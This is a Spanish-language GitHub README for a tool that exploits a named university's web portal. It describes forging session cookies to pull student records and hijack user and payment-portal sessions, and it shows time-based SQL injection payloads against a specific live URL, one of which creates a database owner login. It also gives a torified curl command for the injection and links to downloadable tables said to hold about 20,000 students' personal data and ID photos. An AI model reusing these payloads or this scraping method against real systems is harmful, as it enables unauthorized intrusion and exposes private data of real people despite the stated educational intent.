Skip to content

Script que permite obtener la información de estudiantes y la sesion de un usuario en el portal de la universidad. Ademas de poder inyectar codigo SQL en una cookie en la base de datos de la universidad.

Notifications You must be signed in to change notification settings

epmyas2022/uped-vunerabilidad

Repository files navigation

Script scraping vunerability from uped portal

Caution

Este script fue creado con fines educativos,en ningun momento se pretende hacer daño a la universidad o a su portal web al contrario se pretende ayudar a mejorar la seguridad de la misma

🗒️ Descripcion

Script que permite obtener la información de estudiantes y la sesion de un usuario en el portal de la universidad. Ademas de poder inyectar codigo SQL en una cookie en la base de datos de la universidad.

🍪 En que consiste la vulnerabilidad

La vunerabilidad consiste en manipular la cookie de una session para obtener la informacion de un usuario sin necesidad de logearse en el portal de la universidad.

la estructura de cookie es la siguiente:

{
  ".ASPXAUTH": "puede ser cualquier sesion",
  "ASP.NET_SessionId": "id de la session del autenticacion",
  "CodigoUsuario": "codigo del usuario",
  "usuario": "nombre del usuario",
}

📋 Requisitos

  • Node.js v20.0.0

🚀 Instalación

git clone https://github.com/epmyas2022/uped-vunerabilidad.git
npm install

Configurar las variables de entorno en el archivo .env

ASPXAUTH=#de cualquier sesion
SESSION_ID=#id de la session del autenticacion
ARGS=#argumentos para el navegador

💻 Comandos

Obtener la informacion del expediente de los estudiantes basados en un rango x1 a x2

npm run general <x1> <x2> [optional | Boolean] <headless>

Obtener la sesion de un usuario

npm run login <user> <codigo>

Obtener la sesion del portal de pagos de un estudiante

npm run pagos <user> <codigo>

🐳 Con docker

Esto es util para ejecutar el script en un contenedor docker, podriamos ejecutar x cantidad de contenedores para obtener la informacion de los estudiantes.

Construir la imagen (builder)

docker build -f .docker/Dockerfile --target builder -t uped-vunerabilidad .

Construir el contenedor

docker run -it -d -e ASPXAUTH=token -e SESSION_ID=id -e FROM=desde -e TO=hasta --privileged --security-opt seccomp=.docker/chrome.json uped-vunerabilidad

📂 Estructura de archivos

Dentro de la carpeta data se encuentra varios datos con que se comprobo la vulnerabilidad del portal de la universidad. estos datos obtenidos fueron mediante el script aprovechando la vulnerabilidad. en total existen aproximadamente 20,485 registros de estudiantes.

💉 Vunerabilidad de inyeccion de SQL

Se descubrio otra vunerabilidad que permite inyectar codigo SQL en una cookie y mediante esto se logro obtener acceso a la base de datos de la universidad. La url a la que se le inyecto el codigo SQL fue la siguiente:

https://myappcloud.net/uped/portal_catedratico/externa.aspx

Ejemplo de inyeccion SQL

Con esto se valida si es vulnerable a inyeccion SQL si es vunerable se demorara 20 segundos en responder.

' BEGIN WAITFOR DELAY '0:0:20'--

Con la siguiente inyeccion se logro encontrar cual es el nombre de la base de datos de la universidad.

' IF EXIST (SELECT 1 FROM sys.databases WHERE name LIKE '%uonline_uped%') BEGIN WAITFOR DELAY '0:0:20' END--

Con la siguiete inyeccion se logro crear un usuario en la base de datos de la universidad para su posterior uso.

'IF  (SELECT COUNT(*) FROM sys.databases WHERE name LIKE 'uonline_uped') > 0 BEGIN USE uonline_uped CREATE LOGIN mssql_user WITH password = 'your_password' CREATE USER mssql_user FOR LOGIN mssql_user ALTER ROLE db_owner ADD MEMBER mssql_user WAITFOR DELAY '0:0:20' END--

Ejemplo de curl para inyectar codigo SQL

torify curl -X GET "https://myappcloud.net/uped/portal_catedratico/externa.aspx" \
  --cookie ".ASPXAUTH=<auth_de_cualquier_sesion>" \
  --cookie "ASP.NET_SessionId=<id_de_cualquier_sesion>" \
  --cookie "CodigoUsuario=1789" \
  --cookie "Usuario=<injection_sql>" 

🐳 Acceder a la base de datos

Podemos acceder a la base de datos a través de un contenedor de docker usando novnc y dbeaver.

Acceder a la carpeta database-docker:

cd database-docker

Ejecutar el contenedor:

docker-compose up -d

Si todo salio bien, podemos acceder a la base de datos a través de un navegador web. http://localhost:8080/vnc.html

💻 Descargar datos

  • Tabla de ra_per_personas (informacion de estudiantes) aqui

  • Tabla de ra_per_foto_carne (foto de carne de estudiantes) aqui

🔗 Sitios vulnerables

  • Portal de la universidad aqui
  • Portal de pagos aqui
  • Base de datos uonline_uped aqui

About

Script que permite obtener la información de estudiantes y la sesion de un usuario en el portal de la universidad. Ademas de poder inyectar codigo SQL en una cookie en la base de datos de la universidad.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published